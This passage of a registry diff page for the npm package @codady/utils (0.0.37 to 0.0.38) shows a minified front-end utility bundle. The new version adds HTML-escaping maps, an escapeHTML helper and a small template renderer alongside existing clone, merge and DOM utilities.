@codady/utils 0.0.37 → 0.0.38

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -1,7 +1,7 @@
1
1
  /*!
2
- * @since Last modified: 2026-1-15 18:58:28
2
+ * @since Last modified: 2026-1-16 15:18:30
3
3
  * @name Utils for web front-end.
4
- * @version 0.0.36
4
+ * @version 0.0.38
5
5
  * @author AXUI development team <3217728223@qq.com>
6
6
  * @description This is a set of general-purpose JavaScript utility functions developed by the AXUI team. All functions are pure and do not involve CSS or other third-party libraries. They are suitable for any web front-end environment.
7
7
  * @see {@link https://www.axui.cn|Official website}
@@ -12,4 +12,4 @@
12
12
  * @copyright This software supports the MIT License, allowing free learning and commercial use, but please retain the terms 'ax,' 'axui,' 'AX,' and 'AXUI' within the software.
13
13
  * @license MIT license
14
14
  */
15
- const getDataType=e=>{let t,r=Object.prototype.toString.call(e).slice(8,-1);return t="Function"===r&&/^\s*class\s+/.test(e.toString())?"Class":"Object"===r&&Object.getPrototypeOf(e)!==Object.prototype?"Instance":r,t},deepClone=(e,t={})=>{const r=getDataType(e),a=Object.assign({cloneSet:!0,cloneMap:!0,cloneObject:!0,cloneArray:!0,cloneDate:!0,cloneRegex:!0},t);if(a.interceptor&&"function"==typeof a.interceptor){let t=a.interceptor({input:e,type:r,parent:a.parent});if(t)return t}a.onBeforeClone?.({input:e,type:r,parent:a.parent});let s,n=!0;if("Object"===r&&a.cloneObject){const t={},r=Object.getOwnPropertySymbols(e);for(const r in e)t[r]=deepClone(e[r],a);if(r.length>0)for(const s of r)t[s]=deepClone(e[s],{...a,parent:e});s=t}else if("Array"===r&&a.cloneArray)s=e.map(t=>deepClone(t,{...a,parent:e}));else if("Map"===r&&a.cloneMap){const t=new Map;for(const[r,s]of e)t.set(deepClone(r,a),deepClone(s,{...a,parent:e}));s=t}else if("Set"===r&&a.cloneSet){const t=new Set;for(const r of e)t.add(deepClone(r,{...a,parent:e}));s=t}else if("Date"===r&&a.cloneDate)s=new Date(e.getTime());else if("RegExp"===r&&a.cloneRegex){const t=e;s=new RegExp(t.source,t.flags)}else s=e,n=!1;return a.onAfterClone?.({output:s,input:e,type:r,cloned:n,parent:a.parent}),s},deepCloneToJSON=e=>{const t=getDataType(e);if("Object"===t){const t={};for(const r in e)t[r]=deepCloneToJSON(e[r]);for(const e in t)void 0===t[e]&&Reflect.deleteProperty(t,e);return t}if("Array"===t){return e.map((e,t)=>deepCloneToJSON(e)).filter(e=>void 0!==e)}return["Number","String","Boolean","Null"].includes(t)?e:void 0},arrayMutableMethods=["push","pop","shift","unshift","splice","sort","reverse","copyWithin","fill"],wrapArrayMethods=({target:e,onBeforeMutate:t=()=>{},onAfterMutate:r=()=>{},allowList:a,props:s={}})=>{if(!Array.isArray(e))throw new TypeError("The 'target' parameter must be an array.");a&&!a?.length||(a=arrayMutableMethods);const n={};for(let o of a)n[o]=function(...a){const n={},l=e.length;switch(o){case"push":case"unshift":n.addedItems=[...a];break;case"pop":n.poppedItem=e[l-1];break;case"shift":n.shiftedItem=e[0];break;case"splice":const[t,r]=a,s=t<0?Math.max(l+t,0):Math.min(t,l),o=void 0===r?l-s:r;n.deletedItems=e.slice(s,s+o);break;case"sort":case"reverse":n.oldSnapshot=[...e];break;case"fill":case"copyWithin":const i=a[1]||0,c=void 0===a[2]?l:a[2];n.oldItems=e.slice(i,c),n.start=i,n.end=c}t?.(n);const i=Array.prototype[o].apply(e,a),c={value:i,key:o,args:a,context:n,target:e,...s};return r?.(c),i};return n},requireTypes=(e,t,r)=>{let a=Array.isArray(t)?t:[t],s=getDataType(e),n=s.toLowerCase(),o=a.map(e=>e.toLowerCase()),l=n.includes("html")?"element":n;if(r)try{if(!o.includes(l))throw new TypeError(`Expected data type(s): [${o.join(", ")}], but got: ${l}`)}catch(e){r(e,s)}else if(!o.includes(l))throw new TypeError(`Expected data type(s): [${o.join(", ")}], but got: ${l}`);return s},getUniqueId=(e={})=>{const t=e.prefix,r=e.suffix,a=e.base10,s=e.base36;return`${t?t+"-":""}${Date.now()}${s?"-"+Math.random().toString(36).substring(2,11):""}${a?"-"+Math.floor(1e4*Math.random()).toString().padStart(4,"0"):""}${r?"-"+r:""}`},setMutableMethods=["add","delete","clear"],mapMutableMethods=["set","delete","clear"],wrapSetMethods=({target:e,onBeforeMutate:t=()=>{},onAfterMutate:r=()=>{},allowList:a=setMutableMethods,props:s={}})=>{if(!(e instanceof Set))throw new TypeError("The 'target' parameter must be a Set.");const n={},createWrappedMethod=a=>function(...n){const o={};switch(a){case"add":{const[t]=n;o.addedItem=t,o.existed=e.has(t);break}case"delete":{const[t]=n;o.existed=e.has(t),o.deletedItem=o.existed?t:void 0;break}case"clear":o.clearedItems=Array.from(e),o.previousSize=e.size}t(o);const l=e[a].apply(e,n),i={method:a,result:l,args:n,context:o,target:e,...s};return r(i),l};for(const e of a)setMutableMethods.includes(e)&&(n[e]=createWrappedMethod(e));return Object.defineProperty(n,"target",{get:()=>e,enumerable:!1,configurable:!1}),n},wrapMapMethods=({target:e,onBeforeMutate:t=()=>{},onAfterMutate:r=()=>{},allowList:a=mapMutableMethods,props:s={}})=>{if(!(e instanceof Map))throw new TypeError("The 'target' parameter must be a Map.");const n={},createWrappedMethod=a=>function(...n){const o={};switch(a){case"set":{const[t,r]=n;o.key=t,o.newValue=r,o.existed=e.has(t),o.oldValue=o.existed?e.get(t):void 0;break}case"delete":{const[t]=n;o.key=t,o.existed=e.has(t),o.value=o.existed?e.get(t):void 0;break}case"clear":o.clearedItems=Array.from(e.entries()),o.previousSize=e.size}t(o);const l=e[a].apply(e,n),i={method:a,result:l,args:n,context:o,target:e,...s};return r(i),l};for(const e of a)mapMutableMethods.includes(e)&&(n[e]=createWrappedMethod(e));return Object.defineProperty(n,"target",{get:()=>e,enumerable:!1,configurable:!1}),n},copyObjectWithSymbol=e=>{if(!e||"object"!=typeof e)return e;const t=e,r=Object.getOwnPropertySymbols(t).reduce((e,r)=>(e[r]=t[r],e),{});return{...t,...r}},shallowCopy=(e,t={})=>{const r=getDataType(e);return"Set"===r?new Set([...e]):"Map"===r?new Map([...e]):Array.isArray(e)?[...e]:"object"===r?copyObjectWithSymbol(e):"Date"===r?new Date(e.getTime()):"RegExp"===r?new RegExp(e.source,e.flags):"Buffer"===r?Buffer.from(e):"ArrayBuffer"===r||ArrayBuffer.isView(e)?e.slice(0):"WeakSet"===r?new WeakSet([...e]):"WeakMap"===r?new WeakMap([...e]):"Error"===r?new Error(e.message):e},deepMerge=(e,t,r={})=>{const a=Object.assign({dataMode:"clear",inheritMissing:!0,targetClone:!1,useEnable:!0,useSymbol:!0,nullBehavior:"preserve",undefinedBehavior:"preserve",deepClone:{},onBeforeMerge:void 0,onAfterMerge:void 0},r),smartMerger=(e,t,a)=>{let s,n,o=getDataType(e),l=getDataType(t),i=!0;if(a.interceptor&&"function"==typeof a.interceptor){let r=a.interceptor({target:e,source:t,targetType:o,sourceType:l,parent:a.parent});if(r){if(null===r?.target||null===r?.source)return r;e=r.target,t=r.source}}return a?.onBeforeMerge?.({target:e,source:t,targetType:o,sourceType:l,parent:a.parent}),"Object"===o&&"Object"===l?(n=deepMergeObjects(e,t,a),s="Object"):"Array"===o&&"Array"===l?(n=deepMergeArrays(e,t,a),s="Array"):"Set"===o&&"Set"===l?(n=deepMergeSets(e,t,a),s="Set"):"Map"===o&&"Map"===l?(n=deepMergeMaps(e,t,a),s="Map"):(i=!1,n=e),a?.onAfterMerge?.({result:n,target:e,source:t,targetType:o,sourceType:l,mergeType:s,parent:r.parent}),{result:n,flag:i,mergeType:s}},mergeEnableObject=(e,t)=>e?.hasOwnProperty("enable")&&"boolean"==typeof t?(e.enable=t,e):t?.hasOwnProperty("enable")&&"boolean"==typeof e?Object.assign({enable:e},t):t,deepMergeObjects=(e,t,r={})=>{let a=getDataType(e),s=getDataType(t);if("Object"!==a||"Object"!==s)return e;const n=Object.assign({inheritMissing:!0,targetClone:!1,useEnable:!0},r);let o={};o=n.targetClone?shallowCopy(e):e;for(let e in t){const a=o[e],s=t[e];if(t.hasOwnProperty(e)&&o.hasOwnProperty(e)){const t=smartMerger(a,s,{...r,parent:o});if(t.flag)t.mergeType?"Object"===t.mergeType&&(o[e]=t.result):o[e]=s;else{let t=n.useEnable?mergeEnableObject(a,s):s;a!==t&&null===t?"ignore"===n.nullBehavior||("delete"===n.nullBehavior?Reflect.deleteProperty(o,e):o[e]=t):a!==t&&void 0===t?"ignore"===n.undefinedBehavior||("delete"===n.undefinedBehavior?Reflect.deleteProperty(o,e):o[e]=s):o[e]=s}}else t.hasOwnProperty(e)&&!o.hasOwnProperty(e)&&n.inheritMissing&&(o[e]=s)}if(n.useSymbol){let e=Object.getOwnPropertySymbols(t);if(e.length)for(let r of e)o[r]=t[r]}return o},deepMergeArrays=(e,t,r={})=>{if(!Array.isArray(e)||!Array.isArray(t))return e;const a=Object.assign({dataMode:"clear",inheritMissing:!0,targetClone:!1},r),s=a.targetClone?[...e]:e;if("replace"===a.dataMode)for(let e=0;e<t.length&&(a.inheritMissing||!(e>=s.length));e++){smartMerger(s[e],t[e],{...a,parent:s}).flag||(s[e]=t[e])}else"concat"===a.dataMode||(s.length=0),s.push(...t);return s},deepMergeMaps=(e,t,r={})=>{if(!(e instanceof Map&&t instanceof Map))return e;const a=Object.assign({inheritMissing:!0,targetClone:!1,useEnable:!0},r),s=a.targetClone?new Map([...e]):e;for(const[e,n]of t.entries())if(s.has(e)){const t=s.get(e),r=n,o=smartMerger(t,r,a);o.flag?"Object"===o.mergeType&&s.set(e,o.result):s.set(e,r)}else r.inheritMissing&&s.set(e,n);return s},deepMergeSets=(e,t,r={})=>{if(!(e instanceof Set&&t instanceof Set))return e;const a=Object.assign({dataMode:"clear",inheritMissing:!0,targetClone:!1,useEnable:!0},r),s=a.targetClone?new Set(...e):e;if("replace"===a.dataMode){const e=[...s],r=[...t],n=smartMerger(e,r,a);s.clear();for(let e of n.result)s.add(e)}else if("concat"===a.dataMode)for(let e of t)s.add(e);else{s.clear();for(let e of t)s.add(e)}return s};return smartMerger(e,t,a).result},getEl=(e,t=document.body)=>{let r=getDataType(e),a=getDataType(t),s=a.includes("HTML")||"ShadowRoot"===a?t:document.querySelector(t),n=s&&s instanceof HTMLTemplateElement?s.content:s,o=null;if(e)if(r.includes("HTML"))o=e;else if("String"===r)try{o=(n||document).querySelector(e.trim())}catch{o=null}return o},isEmpty=e=>{let t,r=getDataType(e);return t=!e||("Object"===r?0===Object.keys(e).length:"Array"===r?""===e.join(""):"Function"===r?"{}"===e.toString().replace(/\s+/g,"").match(/{.*}/g)[0]:"Symbol"===r?"()"===e.toString().replace(/\s+/g,"").match(/\(.*\)/g)[0]:"Set"===r||"Map"===r?0===e.size:"Date"===r?isNaN(e.getTime()):"RegExp"===r?""===e.source:"ArrayBuffer"===r?0===e.byteLength:"NodeList"===r||"HTMLCollection"===r||"length"in e&&"number"==typeof e.length?0===e.length:"size"in e&&"number"==typeof e.size?0===e.size:"Error"===r||e instanceof Error?""===e.message:!(!r.includes("Array")||!["Uint8Array","Int8Array","Uint16Array","Int16Array","Uint32Array","Int32Array","Float32Array","Float64Array"].includes(r))&&0===e.length),t},getEls=(e,t=document.body)=>{let r=getDataType(e),a=getEl(t),s=a&&a instanceof HTMLTemplateElement?a.content:a||document,n=[];return isEmpty(e)?n:(r.includes("HTML")?n.push(e):"String"===r?n=(e=e.trim()).split(",").map(e=>[...s.querySelectorAll(e)]).flat():"Array"===r&&(n=e.map(e=>getEl(e,a))),n.filter(Boolean))},createEl=(e,t,r)=>{let a=(e=e||"div").toUpperCase().trim(),s=document.createElement(a),n=getDataType(t);if(t&&"Object"===n)for(let e in t)t.hasOwnProperty(e)&&s.setAttribute(e,"string"==typeof t[e]?t[e]:JSON.stringify(t[e]));return((e,t)=>{if(""===t||null==t)return!1;let r=getDataType(t);if("TEMPLATE"===a)e.innerHTML=t.toString();else if("Array"===r&&t.length>0)for(let r of t){if(getDataType(r).includes("HTML"))e.appendChild(r);else{let t=createEl(r.name,r.attrs,r.content);t&&e.appendChild(t)}}else if(r.includes("HTML"))e.appendChild(t);else if("String"===r&&t.trim().startsWith("#")&&t.trim().length>1){let r=getEl(t);if(!r)return;"TEMPLATE"===r.nodeName?e.appendChild(r.content.cloneNode(!0)):e.insertAdjacentHTML("beforeEnd",r.innerHTML)}else e.insertAdjacentHTML("beforeEnd",t)})(s,r),s},getSvgUri=e=>`data:image/svg+xml;utf8,${e.replace(/\n/g,"").replace(/\s+/g," ").trim().replace(/%/g,"%25").replace(/#/g,"%23").replace(/{/g,"%7B").replace(/}/g,"%7D").replace(/</g,"%3C").replace(/>/g,"%3E")}`,fileToBase64=e=>new Promise((t,r)=>{const a=new FileReader;a.onload=()=>{"string"==typeof a.result?t(a.result):r(new Error("FileReader result is not a string"))},a.onerror=()=>{r(a.error||new Error("Unknown error occurred during file reading"))},a.readAsDataURL(e)}),NAMESPACE="ax",ALIAS="rep",COMMA=",",SPACE=" ",trim=(e,t="compress")=>{if("string"!=typeof e)return"";switch(t){case"start":return e.trimStart();case"end":return e.trimEnd();case"both":return e.trim();case"global":return e.replace(/[\s\r\n]+/g,"");default:return e.trim().replace(/[\s\r\n]+/g," ")}},parseClasses=e=>{let t,r=[];return Array.isArray(e)?r=e.filter(e=>e&&"string"==typeof e):(t=(e=trim(e)).includes(",")?",":" ",r=e.split(t)),r.map(e=>trim(e,"global")).filter(Boolean)},addClasses=(e,t,r)=>{const a=getEl(e),s=parseClasses(t);a&&0!==s.length&&s.forEach(e=>{let t;r?(t=r(e),!0===t?a.classList.add(e):"string"==typeof t&&t&&a.classList.add(t)):a.classList.add(e)})},createTools=e=>{const t=createEl("span",{class:"ax-box-tools"}),renderFn=e=>{const t={},r=e.extendable?'<i rep="arrow"></i>':"",a=(e.icon?`<i rep="icon">${e.icon}</i>`:"")+(e.disk?`<i rep="disk"><img src="${e.disk}"/></i>`:"")+(e.cube?`<i rep="cube"><img src="${e.cube}"/></i>`:"")+(e.image?`<i rep="image"><img src="${e.image}"/></i>`:"")+(e.label?`<i rep="label">${e.label}</i>`:"")+r;e.title&&(t.title=e.title),e.focusable&&(t.tabindex=1),e.wrapEl=createEl(e.nodeName||"span",Object.assign(t,e.attrs),a),e.iconEl=e.wrapEl.querySelector('[rep="icon"]'),e.cubeEl=e.wrapEl.querySelector('[rep="cube"]'),e.diskEl=e.wrapEl.querySelector('[rep="disk"]'),e.imageEl=e.wrapEl.querySelector('[rep="image"]'),e.labelEl=e.wrapEl.querySelector('[rep="label"]'),!isEmpty(e.classes)&&addClasses(e.wrapEl,e.classes),!isEmpty(e.styles)&&(e.wrapEl.style.cssText+=e.styles)};for(let r of e)renderFn(r),t.appendChild(r.wrapEl),r?.action?.(r);return t},getClasses=e=>{let t=getEl(e);return t?parseClasses(t.getAttribute("class")||""):[]},removeClasses=(e,t,r)=>{const a=getEl(e),s=parseClasses(t);a&&0!==s.length&&s.forEach(e=>{let t;r?(t=r(e),!0===t?a.classList.remove(e):"string"==typeof t&&t&&a.classList.remove(t)):a.classList.remove(e)})},typeWriter=(e,t)=>{const r=t.speed||100;return new Promise(a=>{t?.onBeforeType?.(e);let s=0;const n=setInterval(()=>{if(s<e.length){const r=e.charAt(s),a=e.substring(0,s+1);t?.onDuringType?.(r,a),s++}else clearInterval(n),a(e),t?.onAfterType?.(e)},r)})},parseLLMStream=async(e,t)=>{if(!(e&&e instanceof ReadableStream))throw new Error("Invalid input: ReadableStream is missing or not an instance of ReadableStream.");const r=e.getReader(),a=new TextDecoder("utf-8");let s="";const n={fullText:"",finishReason:null,usage:null,isCompleted:!1};try{for(;;){const{done:e,value:o}=await r.read();if(e)break;s+=a.decode(o,{stream:!0});let l=s.split("\n");s=l.pop()||"";for(const e of l){const r=e.trim();if(!r||!r.startsWith("data: "))continue;const a=r.substring(6);if("[DONE]"!==a)try{const e=JSON.parse(a),r=e.choices?.[0],s=r?.delta?.content||"";s&&(n.fullText+=s,t?.(s)),r?.finish_reason&&(n.finishReason=r.finish_reason),e.usage&&(n.usage=e.usage)}catch(e){}else n.isCompleted=!0}}}catch(e){throw e}return n},toKebabCase=(e,t="",r="")=>`${t}${e.replace(/([A-Z])/g,"-$1").toLowerCase()}${r}`,trimEmptyLines=e=>null==e?"":e.replace(/^\s*\n|\n\s*$/g,"")||"",escapeHtmlChars=e=>e?e.replace(/&/g,"&amp;").replace(/</g,"&lt;").replace(/>/g,"&gt;").replace(/"/g,"&quot;").replace(/'/g,"&#39;"):"",decodeHtmlEntities=e=>{if(!e)return"";const t=document.createElement("textarea");return t.innerHTML=e,t.value},utils={getDataType:getDataType,requireTypes:requireTypes,deepClone:deepClone,deepCloneToJSON:deepCloneToJSON,wrapArrayMethods:wrapArrayMethods,arrayMutableMethods:arrayMutableMethods,setMutableMethods:setMutableMethods,mapMutableMethods:mapMutableMethods,wrapSetMethods:wrapSetMethods,wrapMapMethods:wrapMapMethods,getUniqueId:getUniqueId,deepMerge:deepMerge,shallowCopy:shallowCopy,copyObjectWithSymbol:copyObjectWithSymbol,getEl:getEl,getEls:getEls,createEl:createEl,getSvgUri:getSvgUri,fileToBase64:fileToBase64,NAMESPACE:"ax",ALIAS:"rep",COMMA:",",SPACE:" ",trim:trim,parseClasses:parseClasses,getClasses:getClasses,addClasses:addClasses,removeClasses:removeClasses,createTools:createTools,typeWriter:typeWriter,parseLLMStream:parseLLMStream,toKebabCase:toKebabCase,trimEmptyLines:trimEmptyLines,escapeHtmlChars:escapeHtmlChars,decodeHtmlEntities:decodeHtmlEntities};export{utils as default};
15
+ const getDataType=e=>{let t,r=Object.prototype.toString.call(e).slice(8,-1);return t="Function"===r&&/^\s*class\s+/.test(e.toString())?"Class":"Object"===r&&Object.getPrototypeOf(e)!==Object.prototype?"Instance":r,t},deepClone=(e,t={})=>{const r=getDataType(e),a=Object.assign({cloneSet:!0,cloneMap:!0,cloneObject:!0,cloneArray:!0,cloneDate:!0,cloneRegex:!0},t);if(a.interceptor&&"function"==typeof a.interceptor){let t=a.interceptor({input:e,type:r,parent:a.parent});if(t)return t}a.onBeforeClone?.({input:e,type:r,parent:a.parent});let s,n=!0;if("Object"===r&&a.cloneObject){const t={},r=Object.getOwnPropertySymbols(e);for(const r in e)t[r]=deepClone(e[r],a);if(r.length>0)for(const s of r)t[s]=deepClone(e[s],{...a,parent:e});s=t}else if("Array"===r&&a.cloneArray)s=e.map(t=>deepClone(t,{...a,parent:e}));else if("Map"===r&&a.cloneMap){const t=new Map;for(const[r,s]of e)t.set(deepClone(r,a),deepClone(s,{...a,parent:e}));s=t}else if("Set"===r&&a.cloneSet){const t=new Set;for(const r of e)t.add(deepClone(r,{...a,parent:e}));s=t}else if("Date"===r&&a.cloneDate)s=new Date(e.getTime());else if("RegExp"===r&&a.cloneRegex){const t=e;s=new RegExp(t.source,t.flags)}else s=e,n=!1;return a.onAfterClone?.({output:s,input:e,type:r,cloned:n,parent:a.parent}),s},deepCloneToJSON=e=>{const t=getDataType(e);if("Object"===t){const t={};for(const r in e)t[r]=deepCloneToJSON(e[r]);for(const e in t)void 0===t[e]&&Reflect.deleteProperty(t,e);return t}if("Array"===t){return e.map((e,t)=>deepCloneToJSON(e)).filter(e=>void 0!==e)}return["Number","String","Boolean","Null"].includes(t)?e:void 0},arrayMutableMethods=["push","pop","shift","unshift","splice","sort","reverse","copyWithin","fill"],wrapArrayMethods=({target:e,onBeforeMutate:t=()=>{},onAfterMutate:r=()=>{},allowList:a,props:s={}})=>{if(!Array.isArray(e))throw new TypeError("The 'target' parameter must be an array.");a&&!a?.length||(a=arrayMutableMethods);const n={};for(let o of a)n[o]=function(...a){const n={},l=e.length;switch(o){case"push":case"unshift":n.addedItems=[...a];break;case"pop":n.poppedItem=e[l-1];break;case"shift":n.shiftedItem=e[0];break;case"splice":const[t,r]=a,s=t<0?Math.max(l+t,0):Math.min(t,l),o=void 0===r?l-s:r;n.deletedItems=e.slice(s,s+o);break;case"sort":case"reverse":n.oldSnapshot=[...e];break;case"fill":case"copyWithin":const i=a[1]||0,c=void 0===a[2]?l:a[2];n.oldItems=e.slice(i,c),n.start=i,n.end=c}t?.(n);const i=Array.prototype[o].apply(e,a),c={value:i,key:o,args:a,context:n,target:e,...s};return r?.(c),i};return n},escapeCharsMaps={basic:{"&":"&amp;","<":"&lt;",">":"&gt;"},attribute:{"&":"&amp;","<":"&lt;",">":"&gt;",'"':"&quot;","'":"&apos;","`":"&#x60;"},content:{"&":"&amp;","<":"&lt;",">":"&gt;",'"':"&quot;","'":"&apos;","/":"&#x2F;"},uri:{"&":"&amp;","<":"&lt;",">":"&gt;",'"':"&quot;","'":"&apos;","(":"&#40;",")":"&#41;","[":"&#91;","]":"&#93;"},paranoid:{"&":"&amp;","<":"&lt;",">":"&gt;",'"':"&quot;","'":"&apos;","`":"&#x60;","/":"&#x2F;","=":"&#x3D;","!":"&#x21;","#":"&#x23;","(":"&#40;",")":"&#41;","[":"&#91;","]":"&#93;","{":"&#x7B;","}":"&#x7D;",":":"&#x3A;",";":"&#x3B;"}},escapeRegexMaps=Object.keys(escapeCharsMaps).reduce((e,t)=>{const r=Object.keys(escapeCharsMaps[t]).map(e=>e.replace(/[.*+?^${}()|[\]\\]/g,"\\$&"));return e[t]=new RegExp(`[${r.join("")}]`,"g"),e},{}),escapeHTML=(e,t="attribute")=>{if("string"!=typeof e)return"";const r=escapeCharsMaps[t],a=escapeRegexMaps[t];return e.replace(a,e=>r[e])},getUniqueId=(e={})=>{const t=e.prefix,r=e.suffix,a=e.base10,s=e.base36;return`${t?t+"-":""}${Date.now()}${s?"-"+Math.random().toString(36).substring(2,11):""}${a?"-"+Math.floor(1e4*Math.random()).toString().padStart(4,"0"):""}${r?"-"+r:""}`},requireTypes=(e,t,r)=>{let a=Array.isArray(t)?t:[t],s=getDataType(e),n=s.toLowerCase(),o=a.map(e=>e.toLowerCase()),l=n.includes("html")?"element":n;if(r)try{if(!o.includes(l))throw new TypeError(`Expected data type(s): [${o.join(", ")}], but got: ${l}`)}catch(e){r(e,s)}else if(!o.includes(l))throw new TypeError(`Expected data type(s): [${o.join(", ")}], but got: ${l}`);return s},toSingleLine=(e,t=!1)=>{const r=e.replace(/[\r\t\n]/g,"");return t?r.replace(/\s+/g," "):r},renderTpl=(e,t,r={})=>{if(requireTypes(e,"string",e=>""),!e.trim())return"";let a=requireTypes(t,["array","object"],t=>e);if(0===Object.keys(t).length)return e;let s,n=Object.assign({strict:!1,start:"{{",end:"}}",suffix:"/"},r),o=n.start.split("").map(e=>"\\"+e).join(""),l=n.end.split("").map(e=>"\\"+e).join(""),i=new RegExp(`${o}([\\s\\S]+?)?${l}`,"g"),c='"use strict";let str=[];\n',p=0,u="",g=`__esc__${getUniqueId()}`,add=(e,t)=>(t?e.endsWith(n.suffix)?c+=e.slice(0,-n.suffix.length)+"\n":c+=n.escape?`str.push(${g}(String(${e}), "${n.escape}"));\n`:`str.push(${e});\n`:c+=""!==e?'str.push("'+e.replace(/\\/g,"\\\\").replace(/"/g,'\\"').replace(/\n/g,"\\n").replace(/\r/g,"\\r")+'");\n':"",add);for(;s=i.exec(e);)add(e.slice(p,s.index))(s[1],!0),p=s.index+s[0].length;add(e.slice(p)),c+="return str.join('');",c=toSingleLine(c);try{if(n.strict||"Array"===a)u=new Function(g,c).apply(t,[escapeHTML]);else{let e=Object.keys(t),r=Object.values(t);u=new Function(...e,g,c).bind(t)(...r,escapeHTML)}}catch(e){}return u},setMutableMethods=["add","delete","clear"],mapMutableMethods=["set","delete","clear"],wrapSetMethods=({target:e,onBeforeMutate:t=()=>{},onAfterMutate:r=()=>{},allowList:a=setMutableMethods,props:s={}})=>{if(!(e instanceof Set))throw new TypeError("The 'target' parameter must be a Set.");const n={},createWrappedMethod=a=>function(...n){const o={};switch(a){case"add":{const[t]=n;o.addedItem=t,o.existed=e.has(t);break}case"delete":{const[t]=n;o.existed=e.has(t),o.deletedItem=o.existed?t:void 0;break}case"clear":o.clearedItems=Array.from(e),o.previousSize=e.size}t(o);const l=e[a].apply(e,n),i={method:a,result:l,args:n,context:o,target:e,...s};return r(i),l};for(const e of a)setMutableMethods.includes(e)&&(n[e]=createWrappedMethod(e));return Object.defineProperty(n,"target",{get:()=>e,enumerable:!1,configurable:!1}),n},wrapMapMethods=({target:e,onBeforeMutate:t=()=>{},onAfterMutate:r=()=>{},allowList:a=mapMutableMethods,props:s={}})=>{if(!(e instanceof Map))throw new TypeError("The 'target' parameter must be a Map.");const n={},createWrappedMethod=a=>function(...n){const o={};switch(a){case"set":{const[t,r]=n;o.key=t,o.newValue=r,o.existed=e.has(t),o.oldValue=o.existed?e.get(t):void 0;break}case"delete":{const[t]=n;o.key=t,o.existed=e.has(t),o.value=o.existed?e.get(t):void 0;break}case"clear":o.clearedItems=Array.from(e.entries()),o.previousSize=e.size}t(o);const l=e[a].apply(e,n),i={method:a,result:l,args:n,context:o,target:e,...s};return r(i),l};for(const e of a)mapMutableMethods.includes(e)&&(n[e]=createWrappedMethod(e));return Object.defineProperty(n,"target",{get:()=>e,enumerable:!1,configurable:!1}),n},copyObjectWithSymbol=e=>{if(!e||"object"!=typeof e)return e;const t=e,r=Object.getOwnPropertySymbols(t).reduce((e,r)=>(e[r]=t[r],e),{});return{...t,...r}},shallowCopy=(e,t={})=>{const r=getDataType(e);return"Set"===r?new Set([...e]):"Map"===r?new Map([...e]):Array.isArray(e)?[...e]:"object"===r?copyObjectWithSymbol(e):"Date"===r?new Date(e.getTime()):"RegExp"===r?new RegExp(e.source,e.flags):"Buffer"===r?Buffer.from(e):"ArrayBuffer"===r||ArrayBuffer.isView(e)?e.slice(0):"WeakSet"===r?new WeakSet([...e]):"WeakMap"===r?new WeakMap([...e]):"Error"===r?new Error(e.message):e},deepMerge=(e,t,r={})=>{const a=Object.assign({dataMode:"clear",inheritMissing:!0,targetClone:!1,useEnable:!0,useSymbol:!0,nullBehavior:"preserve",undefinedBehavior:"preserve",deepClone:{},onBeforeMerge:void 0,onAfterMerge:void 0},r),smartMerger=(e,t,a)=>{let s,n,o=getDataType(e),l=getDataType(t),i=!0;if(a.interceptor&&"function"==typeof a.interceptor){let r=a.interceptor({target:e,source:t,targetType:o,sourceType:l,parent:a.parent});if(r){if(null===r?.target||null===r?.source)return r;e=r.target,t=r.source}}return a?.onBeforeMerge?.({target:e,source:t,targetType:o,sourceType:l,parent:a.parent}),"Object"===o&&"Object"===l?(n=deepMergeObjects(e,t,a),s="Object"):"Array"===o&&"Array"===l?(n=deepMergeArrays(e,t,a),s="Array"):"Set"===o&&"Set"===l?(n=deepMergeSets(e,t,a),s="Set"):"Map"===o&&"Map"===l?(n=deepMergeMaps(e,t,a),s="Map"):(i=!1,n=e),a?.onAfterMerge?.({result:n,target:e,source:t,targetType:o,sourceType:l,mergeType:s,parent:r.parent}),{result:n,flag:i,mergeType:s}},mergeEnableObject=(e,t)=>e?.hasOwnProperty("enable")&&"boolean"==typeof t?(e.enable=t,e):t?.hasOwnProperty("enable")&&"boolean"==typeof e?Object.assign({enable:e},t):t,deepMergeObjects=(e,t,r={})=>{let a=getDataType(e),s=getDataType(t);if("Object"!==a||"Object"!==s)return e;const n=Object.assign({inheritMissing:!0,targetClone:!1,useEnable:!0},r);let o={};o=n.targetClone?shallowCopy(e):e;for(let e in t){const a=o[e],s=t[e];if(t.hasOwnProperty(e)&&o.hasOwnProperty(e)){const t=smartMerger(a,s,{...r,parent:o});if(t.flag)t.mergeType?"Object"===t.mergeType&&(o[e]=t.result):o[e]=s;else{let t=n.useEnable?mergeEnableObject(a,s):s;a!==t&&null===t?"ignore"===n.nullBehavior||("delete"===n.nullBehavior?Reflect.deleteProperty(o,e):o[e]=t):a!==t&&void 0===t?"ignore"===n.undefinedBehavior||("delete"===n.undefinedBehavior?Reflect.deleteProperty(o,e):o[e]=s):o[e]=s}}else t.hasOwnProperty(e)&&!o.hasOwnProperty(e)&&n.inheritMissing&&(o[e]=s)}if(n.useSymbol){let e=Object.getOwnPropertySymbols(t);if(e.length)for(let r of e)o[r]=t[r]}return o},deepMergeArrays=(e,t,r={})=>{if(!Array.isArray(e)||!Array.isArray(t))return e;const a=Object.assign({dataMode:"clear",inheritMissing:!0,targetClone:!1},r),s=a.targetClone?[...e]:e;if("replace"===a.dataMode)for(let e=0;e<t.length&&(a.inheritMissing||!(e>=s.length));e++){smartMerger(s[e],t[e],{...a,parent:s}).flag||(s[e]=t[e])}else"concat"===a.dataMode||(s.length=0),s.push(...t);return s},deepMergeMaps=(e,t,r={})=>{if(!(e instanceof Map&&t instanceof Map))return e;const a=Object.assign({inheritMissing:!0,targetClone:!1,useEnable:!0},r),s=a.targetClone?new Map([...e]):e;for(const[e,n]of t.entries())if(s.has(e)){const t=s.get(e),r=n,o=smartMerger(t,r,a);o.flag?"Object"===o.mergeType&&s.set(e,o.result):s.set(e,r)}else r.inheritMissing&&s.set(e,n);return s},deepMergeSets=(e,t,r={})=>{if(!(e instanceof Set&&t instanceof Set))return e;const a=Object.assign({dataMode:"clear",inheritMissing:!0,targetClone:!1,useEnable:!0},r),s=a.targetClone?new Set(...e):e;if("replace"===a.dataMode){const e=[...s],r=[...t],n=smartMerger(e,r,a);s.clear();for(let e of n.result)s.add(e)}else if("concat"===a.dataMode)for(let e of t)s.add(e);else{s.clear();for(let e of t)s.add(e)}return s};return smartMerger(e,t,a).result},getEl=(e,t=document.body)=>{let r=getDataType(e),a=getDataType(t),s=a.includes("HTML")||"ShadowRoot"===a?t:document.querySelector(t),n=s&&s instanceof 